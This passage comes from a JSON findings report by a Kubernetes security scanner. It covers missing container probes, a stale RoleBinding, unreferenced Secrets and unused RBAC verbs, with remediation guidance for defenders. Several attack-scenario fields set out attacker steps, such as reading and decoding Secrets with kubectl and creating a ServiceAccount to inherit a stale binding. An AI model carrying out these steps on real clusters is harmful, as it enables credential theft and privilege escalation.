    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `batch` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:local-path-storage:local-path-provisioner:local-path-provisioner",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `local-path-provisioner` in `Deployment/local-path-storage/local-path-provisioner` has neither a liveness nor a readiness probe",
    "description": "Container `local-path-provisioner` in `Deployment/local-path-storage/local-path-provisioner` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/local-path-storage/local-path-provisioner`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/local-path-provisioner` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "local-path-provisioner",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `local-path-provisioner` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:secrets-bundle:cross-ns-consumer:pause",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `pause` in `Deployment/secrets-bundle/cross-ns-consumer` has neither a liveness nor a readiness probe",
    "description": "Container `pause` in `Deployment/secrets-bundle/cross-ns-consumer` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/secrets-bundle/cross-ns-consumer`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/cross-ns-consumer` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "pause",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `pause` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-RBAC-STALE-002:ServiceAccount/rbac-fixtures/ghost-sa-fixture:RoleBinding/rbac-fixtures/rb-stale-subject",
    "rule_id": "KUBE-RBAC-STALE-002",
    "severity": "LOW",
    "score": 3.5,
    "category": "privilege_escalation",
    "title": "Namespace `rbac-fixtures` only stale binding lists non-existent ServiceAccount `rbac-fixtures/ghost-sa-fixture`",
    "description": "RoleBinding `rbac-fixtures/rb-stale-subject` grants permissions from Role `rbac-fixtures/r-stale-subject-target` to ServiceAccount `rbac-fixtures/ghost-sa-fixture`, but no such ServiceAccount exists in namespace `rbac-fixtures`. No pods can mount a token for this SA today, so the binding confers no realised permissions.\n\nThis is latent privilege escalation. The moment a ServiceAccount named exactly `ghost-sa-fixture` is created in namespace `rbac-fixtures` — by an attacker with `create serviceaccounts` in that namespace, by a routine redeploy from a stale GitOps repo, or by an operator restoring an accidentally-deleted SA — it inherits everything Role `rbac-fixtures/r-stale-subject-target` grants. The binding itself is never re-reviewed; only the SA creation is, and that step usually looks unremarkable.\n\nNote: kubesplaining only validates `ServiceAccount` subjects this way. `User` and `Group` subjects cannot be checked against the snapshot — Kubernetes authenticates them externally (OIDC, client certs, cloud IAM) and keeps no inventory of which identities are valid.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "ghost-sa-fixture",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Role",
      "name": "r-stale-subject-target",
      "namespace": "rbac-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-fixtures` only"
    },
    "impact": "Latent grant: an attacker with `create serviceaccounts -n rbac-fixtures` can pre-position a ServiceAccount named `ghost-sa-fixture`, mount its token in a pod they control, and instantly assume the permissions from Role `rbac-fixtures/r-stale-subject-target`.",
    "attack_scenario": [
      "Attacker enumerates bindings with `kubectl get rolebindings,clusterrolebindings -A -o json` and notices RoleBinding `rbac-fixtures/rb-stale-subject` lists a subject `ServiceAccount rbac-fixtures/ghost-sa-fixture` that does not exist.",
      "Attacker uses an existing `create serviceaccounts -n rbac-fixtures` permission (or compromises an identity that has it) to create a ServiceAccount named `ghost-sa-fixture` in that namespace.",
      "Attacker creates a pod with `spec.serviceAccountName: ghost-sa-fixture` (or projects a TokenRequest for the new SA into a pod they control).",
      "The mounted token authenticates as ServiceAccount `rbac-fixtures/ghost-sa-fixture`, which now resolves through RoleBinding `rbac-fixtures/rb-stale-subject` into the role's permissions."
    ],
    "evidence": {
      "binding_namespace": "rbac-fixtures",
      "source_binding": "rb-stale-subject",
      "source_binding_kind": "RoleBinding",
      "source_role": "r-stale-subject-target",
      "source_role_kind": "Role"
    },
    "remediation": "Remove the stale ServiceAccount subject from the binding, or delete the binding entirely if it's obsolete. If the SA was deleted in error, restore it from version control.",
    "remediation_steps": [
      "Confirm no workloads still depend on this SA: `kubectl get all -n rbac-fixtures -o yaml | rg 'serviceAccountName:\\s*ghost-sa-fixture'`.",
      "Edit the binding to drop the stale subject, or delete the binding outright if it is obsolete.",
      "If the SA was deleted by mistake, restore it (`kubectl apply -f \u003csa.yaml\u003e`) and re-review whether the binding's grant is still appropriate.",
      "Add a CI lint that rejects bindings whose `ServiceAccount` subjects do not resolve to an existing SA in the named namespace."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Managing Service Accounts",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "stale:subject"
    ]
  },
  {
    "id": "KUBE-SECRETS-STALE-001:secrets-bundle:ingress-tls",
    "rule_id": "KUBE-SECRETS-STALE-001",
    "severity": "LOW",
    "score": 3.4,
    "category": "data_exfiltration",
    "title": "Secret `secrets-bundle/ingress-tls` is not referenced by any Pod or ServiceAccount in the snapshot",
    "description": "Secret `secrets-bundle/ingress-tls` (type `kubernetes.io/tls`) was not found referenced from any of the workload-spec entry points the snapshot collects: pod containers' `env[].valueFrom.secretKeyRef`, container-level `envFrom[].secretRef`, pod `volumes[].secret.secretName`, and ServiceAccount `imagePullSecrets` / `secrets` lists.\n\nIn a healthy cluster this almost always means one of: (a) a workload that used to mount the Secret was deleted but the Secret was not garbage-collected, (b) the Secret was created speculatively (a bootstrap step, a CI/CD seed) and never wired in, (c) a Helm release was uninstalled with `--keep-history` or via `kubectl delete deployment` instead of `helm uninstall`, leaving Secrets behind, or (d) the Secret is consumed *outside* the snapshot's view (a CronJob / Job / DaemonSet in another namespace, an external system reading via the API server using SA credentials).\n\nStale Secrets are an asymmetric risk. They contribute *nothing* to current operations but they are still readable by every subject with `get/list secrets` in the namespace (which the namespace-default `view` and `edit` cluster roles both grant). Rotating them is free of operational impact since no consumer breaks. Deleting them tightens the blast radius of a future credential-read compromise without any deployment risk. The only operational cost is verifying the Secret really has no consumer outside the snapshot's view.",
    "resource": {
      "kind": "Secret",
      "name": "ingress-tls",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "object",
      "detail": "Secret `secrets-bundle/ingress-tls`: still readable by every subject with `get/list secrets` in `secrets-bundle`, but no observed workload mounts or consumes it"
    },
    "impact": "If `secrets-bundle/ingress-tls` holds a real credential (token, password, API key, kubeconfig, registry pull secret), it is still in the blast radius of every subject with `get secrets` in `secrets-bundle` even though no workload uses it. Compromise yields a credential the operator believes is decommissioned.",
    "attack_scenario": [
      "Attacker compromises any subject with `get secrets` in `secrets-bundle`. Default `view`/`edit` cluster-role bindings, audit roles, debugging operators, helm-controller and external-secrets controller SAs all qualify.",
      "They `kubectl get secret ingress-tls -n secrets-bundle -o yaml` and decode `data` keys.",
      "They identify the credential class (token, kubeconfig, registry pull credentials, OAuth client secret) from the key shape.",
      "Because the Secret is unreferenced, no audit alert wires the read to a known consumer pattern: the access looks like a one-off `get` instead of a controller's expected token-refresh loop.",
      "They use the credential against the corresponding upstream system. The operator's team continues to assume the Secret is dormant and unused; rotation only happens if some unrelated audit catches the abuse."
    ],
    "evidence": {
      "type": "kubernetes.io/tls"
    },
    "remediation": "Confirm `secrets-bundle/ingress-tls` is genuinely unused (the snapshot may not have visibility into every consumer), then delete it. Treat the credential as compromised before rotation if the Secret has been long-lived.",
    "remediation_steps": [
      "Confirm no out-of-snapshot consumer exists. `kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == \"ingress-tls\" or .spec.containers[]?.env[]?.valueFrom?.secretKeyRef?.name == \"ingress-tls\" or .spec.containers[]?.envFrom[]?.secretRef?.name == \"ingress-tls\") | .metadata.namespace + \"/\" + .metadata.name'`. Run for Jobs, CronJobs, and ServiceAccount `imagePullSecrets` too.",
      "Check change history (Argo / Flux / Helm) for the Secret name. Many stale Secrets are managed by GitOps and have a tracked owner; deleting them outside GitOps will cause the system to recreate them on the next sync.",
      "If you confirm no consumer, treat the credential as exposed (anyone with secret-read in `secrets-bundle` could have copied it). Rotate the upstream credential at its source (cloud IAM, registry, OIDC IDP).",
      "`kubectl delete secret ingress-tls -n secrets-bundle`. Watch for CrashLoopBackOff in the namespace for the next 24h, in case a Job or external system needed it.",
      "Wire prevention: schedule a periodic `secrets-janitor` Job that lists Secrets older than N days that no resource references, and emits a Slack/email warning. External tools like `kor` or `secret-scanner` automate this same check."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:staleSecret"
    ]
  },
  {
    "id": "KUBE-SECRETS-STALE-001:secrets-bundle:stale-creds",
    "rule_id": "KUBE-SECRETS-STALE-001",
    "severity": "LOW",
    "score": 3.4,
    "category": "data_exfiltration",
    "title": "Secret `secrets-bundle/stale-creds` is not referenced by any Pod or ServiceAccount in the snapshot",
    "description": "Secret `secrets-bundle/stale-creds` (type `Opaque`) was not found referenced from any of the workload-spec entry points the snapshot collects: pod containers' `env[].valueFrom.secretKeyRef`, container-level `envFrom[].secretRef`, pod `volumes[].secret.secretName`, and ServiceAccount `imagePullSecrets` / `secrets` lists.\n\nIn a healthy cluster this almost always means one of: (a) a workload that used to mount the Secret was deleted but the Secret was not garbage-collected, (b) the Secret was created speculatively (a bootstrap step, a CI/CD seed) and never wired in, (c) a Helm release was uninstalled with `--keep-history` or via `kubectl delete deployment` instead of `helm uninstall`, leaving Secrets behind, or (d) the Secret is consumed *outside* the snapshot's view (a CronJob / Job / DaemonSet in another namespace, an external system reading via the API server using SA credentials).\n\nStale Secrets are an asymmetric risk. They contribute *nothing* to current operations but they are still readable by every subject with `get/list secrets` in the namespace (which the namespace-default `view` and `edit` cluster roles both grant). Rotating them is free of operational impact since no consumer breaks. Deleting them tightens the blast radius of a future credential-read compromise without any deployment risk. The only operational cost is verifying the Secret really has no consumer outside the snapshot's view.",
    "resource": {
      "kind": "Secret",
      "name": "stale-creds",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "object",
      "detail": "Secret `secrets-bundle/stale-creds`: still readable by every subject with `get/list secrets` in `secrets-bundle`, but no observed workload mounts or consumes it"
    },
    "impact": "If `secrets-bundle/stale-creds` holds a real credential (token, password, API key, kubeconfig, registry pull secret), it is still in the blast radius of every subject with `get secrets` in `secrets-bundle` even though no workload uses it. Compromise yields a credential the operator believes is decommissioned.",
    "attack_scenario": [
      "Attacker compromises any subject with `get secrets` in `secrets-bundle`. Default `view`/`edit` cluster-role bindings, audit roles, debugging operators, helm-controller and external-secrets controller SAs all qualify.",
      "They `kubectl get secret stale-creds -n secrets-bundle -o yaml` and decode `data` keys.",
      "They identify the credential class (token, kubeconfig, registry pull credentials, OAuth client secret) from the key shape.",
      "Because the Secret is unreferenced, no audit alert wires the read to a known consumer pattern: the access looks like a one-off `get` instead of a controller's expected token-refresh loop.",
      "They use the credential against the corresponding upstream system. The operator's team continues to assume the Secret is dormant and unused; rotation only happens if some unrelated audit catches the abuse."
    ],
    "evidence": {
      "type": "Opaque"
    },
    "remediation": "Confirm `secrets-bundle/stale-creds` is genuinely unused (the snapshot may not have visibility into every consumer), then delete it. Treat the credential as compromised before rotation if the Secret has been long-lived.",
    "remediation_steps": [
      "Confirm no out-of-snapshot consumer exists. `kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == \"stale-creds\" or .spec.containers[]?.env[]?.valueFrom?.secretKeyRef?.name == \"stale-creds\" or .spec.containers[]?.envFrom[]?.secretRef?.name == \"stale-creds\") | .metadata.namespace + \"/\" + .metadata.name'`. Run for Jobs, CronJobs, and ServiceAccount `imagePullSecrets` too.",
      "Check change history (Argo / Flux / Helm) for the Secret name. Many stale Secrets are managed by GitOps and have a tracked owner; deleting them outside GitOps will cause the system to recreate them on the next sync.",
      "If you confirm no consumer, treat the credential as exposed (anyone with secret-read in `secrets-bundle` could have copied it). Rotate the upstream credential at its source (cloud IAM, registry, OIDC IDP).",
      "`kubectl delete secret stale-creds -n secrets-bundle`. Watch for CrashLoopBackOff in the namespace for the next 24h, in case a Job or external system needed it.",
      "Wire prevention: schedule a periodic `secrets-janitor` Job that lists Secrets older than N days that no resource references, and emits a Slack/email warning. External tools like `kor` or `secret-scanner` automate this same check."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:staleSecret"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-VERB-001:ServiceAccount/lp-fixtures/sa-lp-narrow:r-lp-narrow",
    "rule_id": "KUBE-RBAC-UNUSED-VERB-001",
    "severity": "LOW",
    "score": 3,
    "category": "privilege_escalation",
    "title": "Role `r-lp-narrow` has 5 unused verb-grants for ServiceAccount `lp-fixtures/sa-lp-narrow`",
    "description": "Over 30 days (2026-10-13 → 2026-11-12, 3 events), ServiceAccount `lp-fixtures/sa-lp-narrow` exercised some of the verbs in `r-lp-narrow` but not others. Unused: `create configmaps` (apiGroup `core`), `delete configmaps` (apiGroup `core`), `patch configmaps` (apiGroup `core`), `update configmaps` (apiGroup `core`), `watch configmaps` (apiGroup `core`). The Role can be safely narrowed to drop the verbs the workload has never needed.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-narrow",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "Role",
      "name": "r-lp-narrow",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `lp-fixtures`"
    },
    "impact": "Each unused verb is an additional permission an attacker inherits if the workload is compromised, without the application needing it for normal operation.",
    "evidence": {
      "events_processed": 3,
      "source_role": "r-lp-narrow",
      "suggested_role_yaml": "# Drop the following from Role/ClusterRole `r-lp-narrow`:\n#   apiGroup `core`, resource `configmaps`: create, delete, patch, update, watch\n# Replacement Role: keep only the verbs the workload actually uses (visible in your audit log).\n",
      "unused_triples": [
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "create"
        },
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "delete"
        },
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "patch"
        },
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "update"
        },
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "watch"
        }
      ],
      "used_triples": [
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "get"
        },
        {
          "api_group": "",
          "resource": "configmaps",
          "verb": "list"
        }
      ],
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Replace `r-lp-narrow` with a narrower Role that lists only the verbs the workload actually exercises.",
    "remediation_steps": [
      "Confirm the audit window is long enough to capture rare-but-legitimate operations (monthly cron jobs, error-only code paths).",
      "Edit `r-lp-narrow` to drop the unused verbs, or apply the suggested replacement below."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
